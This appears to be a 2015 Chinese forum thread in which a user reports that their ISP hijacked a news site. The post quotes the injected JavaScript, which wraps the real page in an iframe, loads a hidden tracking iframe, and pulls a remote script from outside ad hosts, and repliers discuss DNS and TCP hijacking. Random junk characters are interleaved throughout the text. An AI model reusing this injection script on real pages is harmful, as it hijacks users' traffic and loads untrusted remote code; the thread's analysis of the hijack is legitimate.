上网奇遇记

hudba

3 E$ G" o* u' G$ P  j/ m上网易看新闻半天打不开，发现状态栏在现实访问一个奇怪的域名。心里一惊，难道电脑中毒了？赶紧查看源代码，发现后面加了一段js，真正的新闻内容给iframe了

$ Z0 g5 ?1 s2 i$ p+ ?  y2 n2 p( d' M接下来就是去搜索这个域名，得到v2ex里面也有人遇到这个问题，原来是运营商搞的鬼{:soso_e131:}

https://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8

http://www.v2ex.com/t/142197

& x& g  |) p4 o8 W( c* k+ u顺便查下ip138：
/ ~! b1 `, o: ^  |- `
. o5 |- E4 s% O0 g+ E5 {& K这是那段js里面的代码，好象是个半成品还没写入广告数据：

1. function locationSearch() {
   
2.         var s = getMainJs();
   
3.         if (s == null) {
   
4.                 location.reload();
   
5.         }
   5 p8 }8 v( v' k
6.         return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);
   8 |6 H! ?% D* n$ Q" ~- r
7. }
   
8. 
   % l( x2 n% u+ G5 m) {4 b
9. function getParameter(name, paraStr) {
   & n: E  Z1 ?# H9 w
10.         var result = "";
    # z6 h  i( `6 z3 q
11.         var str = "&" + paraStr.split("?")[1];
    
12.         var paraName = "&" + name + "=";
    9 U( i# i- W/ P/ r
13.         if (str.indexOf(paraName) != -1) {
    
14.                 if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {
    
15.                         var TmpStr = str.substring(str.indexOf(paraName), str.length);
    
16.                         result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring(
    6 P1 X3 b1 {8 c# }
17.                                         1, TmpStr.length).indexOf("&")
    ) \4 b: g7 m7 G1 }
18.                                         - TmpStr.indexOf(paraName) + 1);
    / S% E1 T' r8 H! V9 m
19.                 } else {
    # |2 O* n3 u& ?  ^# C
20.                         result = str.substring(str.indexOf(paraName), str.length);
    
21.                 }
    
22. 
    8 J# n- T, d2 G5 w( V& b8 i
23.                 result = result.substring(result.indexOf("=") + 1, result.length);
    , j) x7 @2 }& T( X% k
24.         } else {
    
25.                 result = "No such parameter";
    
26.         }
    
27.         return (result.replace("&", ""));
    % S8 y5 r; G" T3 R! a* a
28. }
    
29. 
    , q+ f' A' g! Y; `- \- |" F8 N( J
30. function getMainJs() {
    
31.         var scripts = document.getElementsByTagName("script");
    
32.         var s = null;
    ' s+ a0 f. z9 X8 c
33.         for (var i = 0; i < scripts.length; i++) {
    
34.                 if (scripts[i] != "undefined" && scripts[i].src.indexOf("t_c") != -1) {
    
35.                         s = scripts[i];
    : z( J: ^" p% i% h, Y# T7 B& O
36.                         break;
    
37.                 }
    
38.         }
    
39.         return s;
    
40. }
    ' Q: A5 Q. s* i# q- U# n6 b2 S. P8 F' T
41. 
    $ m3 k, a6 y6 |. t, b7 z
42. function appendParam(oStr, aStr) {
    ) k$ E* m& z6 m$ y# S1 Y) C3 m* V
43.         if (oStr.indexOf('?') > 0) {
    # U# _( v% |# E" M! [) \# y
44.                 oStr = oStr + "&" + aStr;
    
45.         } else {
    , g: D. C6 y, j) \
46.                 oStr = oStr + "?" + aStr;
    
47.         }
    ) u) c: G6 P& B
48.         return oStr;
    8 f! C9 ~# N; I& t7 ?- ^
49. }
    - o% v( R; L( b' }
50. 
    1 k- Z" f/ r$ o" I" V
51. window.onerror = function() {
    " s5 K0 W! n# d, F- D
52. };
    , r7 k7 @9 N5 E. m3 v
53. 
    ; U0 w0 t  T* Y* Z5 x  g3 G$ I
54. var g_titleTime = 0;
    5 p( X' B  \6 ?+ e1 R
55. function setTcTitle() {
    
56.         if (undefined == document) {
    
57.                 g_titleTime++;
    
58.                 setTimeout("setTcTitle();", 1000);
    
59.                 return;
    
60.         }
    
61. 
    
62.         var doc;
    
63.         try {
    
64.                 if (document.all) {
    
65.                         doc = document.frames["cn"].document;
    5 K# P# D2 L' a) t) f
66.                 } else {
    
67.                         doc = document.getElementById("cn").contentDocument;
    4 q% X- F4 n3 V! u6 J  m7 C
68.                 }
    5 u1 r2 F# f: v
69.         } catch (ex) {
    6 n4 T' K' ?3 b. j( t
70.         }
    , M& S4 ~+ O/ k9 j
71. 
    0 _1 U8 e! y2 f$ C3 a* e8 J
72.         if (g_titleTime < 5
    
73.                         && (undefined == doc || undefined == doc.title || "" == doc.title)) {
    
74.                 g_titleTime++;
    2 b, p7 `: X. G3 J
75.                 setTimeout("setTcTitle();", 1000);
    6 e# i! X9 M" A* j$ i
76.                 return;
    
77.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
    , b/ `& g: d3 M9 _7 |  e
78.                 document.title = doc.title;
    2 l( e1 B% @. T/ ?3 U8 j( N
79.                 setTcAdvVisible();
    1 T6 }+ q. P% E
80.         }
    
81. }
    8 C% G) F- ^% ?! k
82. 
    
83. setTimeout("setTcTitle();", 1000);
    + ?0 Q+ U3 \( e0 ?' z: M# Z
84. 
      }/ U5 E3 S, _) V/ g
85. var g_isHaveVisible = false;
    ; U4 ~; ?! G: N! I
86. function setTcAdvVisible() {
    : N# r# x5 f0 Y2 T1 O( z2 I' R. {
87.         if (undefined != document && undefined != document.getElementById("addiv")
    / O- r' ^: E3 h8 r9 E/ {7 x1 z0 o
88.                         && !g_isHaveVisible) {
    
89.                 document.getElementById("addiv").style.visibility = 'visible';
    0 f% ^0 B9 F8 s/ A
90.                 document.getElementById("addiv").style.display = 'block';
    
91.                 g_isHaveVisible = true;
    ' |$ {$ x% p% c  A6 w- p# Z
92.         }
    
93. }
    
94. 
    
95. function UrlAnalyzer() {
    & x5 o& P+ h( }; ^  I; Q4 L
96.         this.divda = "";
    3 d: h% R" f5 q6 C+ H
97.         this.tctype = "";
    . v0 U# {8 q% W- I0 q3 T  a
98.         this.radius = "";
    8 q5 d' T! a1 ]0 f0 A! a8 m( I
99.         this.rlu = "";
    + Q4 D% f( J5 }& d6 X
100. }
     / i  V4 Y) w- n
101. 
     . E  W, o: J1 q+ z
102. UrlAnalyzer.prototype.initParameters = function() {
     - G7 ?5 E7 R( c; D1 G$ V+ F
103.         var paraStr = locationSearch();
     , b6 h7 |5 D" o
104.         this.rlu = getParameter("lruedct", paraStr);
     
105.         this.divda = getParameter("divda", paraStr);
       q2 D. Z0 r& m$ H
106.         this.radius = getParameter("radius", paraStr);
     
107.         this.tctype = getParameter("tctype", paraStr);
     + y7 m4 \5 e8 m( X! i3 m" P+ i
108.         this.address = getParameter("address", paraStr);
     
109.         this.usagent = getParameter("usagent", paraStr);
     5 [* _6 N5 C, R$ x  ~7 m
110. }
     
111. 
     . j  p( u  ~3 L# y7 W" S& X
112. UrlAnalyzer.prototype.getHtmlDoc = function() {
     * h  T! H5 q1 X; l* E, G- ?/ ]
113.         var doc;
     0 e2 I; Z  c- h* I
114.         try {
     & Q0 i) V, P+ m5 ?6 n6 U3 m! }
115.                 if (document.all) {
     " U9 d* F1 d' F. Y
116.                         doc = document.frames["cn"].document;
     
117. 
     7 A2 p/ p9 ^" W4 g) {$ t
118.                 } else {
     5 W8 o, A1 G" U: K) K
119.                         doc = document.getElementById("cn").contentDocument;
     # P: T( M4 @& N* u- p: h
120.                         // doc = document.getElementById("cn").contentWindow.document;
     & L7 D; _$ ?( A
121.                 }
     
122.         } catch (ex) {
     & q+ _& I# j0 K: f2 [3 X( g  L7 |
123.         }
     
124.         return doc;
     * k1 e0 ~) R0 }* V
125. }
     
126. 
     
127. UrlAnalyzer.prototype.setDomain = function() {
     5 v3 L: s9 f* \* Q
128.         if (undefined != document.title && "" == document.title)
     $ {/ G) l2 t' O8 |& {- o- g
129.         {
     
130.                 var index = document.domain.indexOf(".");
     
131.                 if (undefined != index && -1 != index) {
     
132.                         document.domain = document.domain.substring(index + 1,
     6 [* }$ y( l. C- J; t- P- A9 u
133.                                         document.domain.length);
     ) }; Q& a) ^/ z4 [
134.                 }
     % M+ t0 \* z7 q$ [- ^. t
135.                
     8 e# V1 s! P! Z% A0 L% d/ j" `
136.                 var doc = this.getHtmlDoc();
     3 ?+ \' C0 j( I" E% l5 l% X5 L
137.                 if (undefined != doc && undefined != doc.title && "" != doc.title) {
     . Y/ e' v+ `- l) O  Y
138.                         document.title = doc.title;
     6 g1 j6 R  l" j% C5 Q
139.                         setTcAdvVisible();
     
140.                 }
     1 t7 j, Z6 e. G# }! V6 V
141.         }
     ' P- H- {# i0 x6 i4 @, d( L
142. }
     
143. 
     % B& g6 e9 L& X/ k2 n
144. UrlAnalyzer.prototype.iframeCallback = function() {
     
145.         var doc = this.getHtmlDoc();
     
146.         if (undefined == doc || undefined == doc.title || "" == doc.title) {
     
147.                 if (undefined != document.domain) {
     0 k+ ?5 M* p5 }9 k- Z- j
148. 
     ( a2 V5 @: \/ y3 X% l0 {3 P+ G2 ~$ a- E
149.                         var self = this;
     
150.                         setTimeout(function(){self.setDomain.call(self, null)}, 1000);
     
151.                         // var index = document.domain.indexOf(".");
     ; W5 R  |6 m. X' I# U/ B
152.                         // if (undefined != index && -1 != index) {
     
153.                         // document.domain = document.domain.substring(index + 1,
     
154.                         // document.domain.length);
     
155.                         // }
     4 Q# [' Y) J3 x6 U
156.                         //
     2 c' O/ C- n6 m& O: ]* v
157.                         // var doc = this.getHtmlDoc();
     % k$ g; r( f  o5 m8 R3 ~) U
158.                         // if (undefined != doc && undefined != doc.title && "" !=
     
159.                         // doc.title) {
     % Y0 L0 m9 Q; t0 t& h
160.                         // document.title = doc.title;
     4 x2 G  ], _4 j) P4 |; Y* R
161.                         // setTcAdvVisible();
     / |/ n( g( p+ K3 y* {) s
162.                         // }
     
163.                 }
     
164.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
     5 ~) Z# @% T( d$ D# \" |$ ^: C: S
165.                 document.title = doc.title;
     
166.                 setTcAdvVisible();
     
167.         }
     , J+ r3 b! ?& }
168. }
     
169. 
     9 ]  [3 Q6 S" [2 ]& q, k
170. UrlAnalyzer.prototype.executeHtmlContext = function() {
     + t1 i/ L( m: V' V) ~
171.         var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda
     ' F3 @: i# R) N
172.                         + "&rd=" + this.radius + "&tctype=" + this.divda  + "&address=" + this.address  + "&usagent=" + this.usagent;
     $ B/ r9 c0 `  Y  H
173. 
     3 Z' ^: y& I) `. j* U" T
174.         var htmlStr = "<iframe src="" + staUrl
     
175.                         + "" style="display:none"></iframe>";
       l! l7 @8 L1 A, u1 o
176. 
     - F. ~9 w. I6 h4 |0 A! H
177.         var advUrl = htmlStr
     
178.                         + "<script src="http://c2.sxite.com:8060/center?advId="
     
179.                         + this.divda + "&radius=" + this.radius  + "&area=1" + ""><\/script>";
     
180.         document.write(advUrl);
     : g  \2 a8 W4 C9 ^4 k, k& m
181. 
     . i3 _+ `( Z0 W( v, A
182.         var self = this;
     
183.         var iframe = document.getElementById("cn");
     
184.         if (iframe.attachEvent) {
     
185.                 iframe.attachEvent("onload", function() {
     
186.                         self.iframeCallback.call(self, null);
     
187.                 });
     
188.         } else {
     
189.                 iframe.onload = function() {
     * g/ Y# q! }  r& `% y  \0 ^& g% b1 y
190.                         self.iframeCallback.call(self, null);
     ; k  a  o  B. l; u  ^8 L6 `. _# B
191.                 }
     
192.         }
     
193. }
     
194. 
     
195. UrlAnalyzer.prototype.executeMain = function() {
     # D" g. D3 v/ D7 R9 H: ^  b
196.         var mainFrame = document.getElementById("cn");
     - Z4 M) x9 G: _! u8 B# |9 T
197.         mainFrame.contentWindow.location.href = mainFrame.src;
     
198.         this.initParameters();
     
199.         this.executeHtmlContext();
     
200. }
     # N# Z. J, \' R) u
201. 
     # G0 ~" L( t: ?# f. f
202. var g_analyzer = new UrlAnalyzer();
     
203. g_analyzer.executeMain();
     4 f* Z8 w: J0 l. a" F, W

复制代码

4 c2 l  G2 I* T. t; k4 V
% v( [) b3 P! U8 Z

ads419

Welcome to China      

cissss

我在想有没有大牛会去干电信那个网页，那就发啦。哈哈

阿百川

所以从不使用运行商的dns，http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错

firearmer

法制不健全，没法。我这里也有电信绑架的问题，但你没辙，要国外，早赔的只剩内裤了。

老刘

电信DNS劫持不是一天两天了。国家垄断企业，没人能管”。。。

giveatry

我这段时间也遇到了，投诉了两次，这几天没出现了，再出现继续投诉

ads419

阿百川 发表于 2015-2-3 09:49
所以从不使用运行商的dns，http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错 ...

- F0 E$ y' [5 G- B+ b+ g$ ^+ dTCP劫持，换DNS也不管用的。

阿百川

ads419 发表于 2015-2-3 21:26
TCP劫持，换DNS也不管用的。

幸好联通还木有这么强的技术

哈默

在国内，习惯就好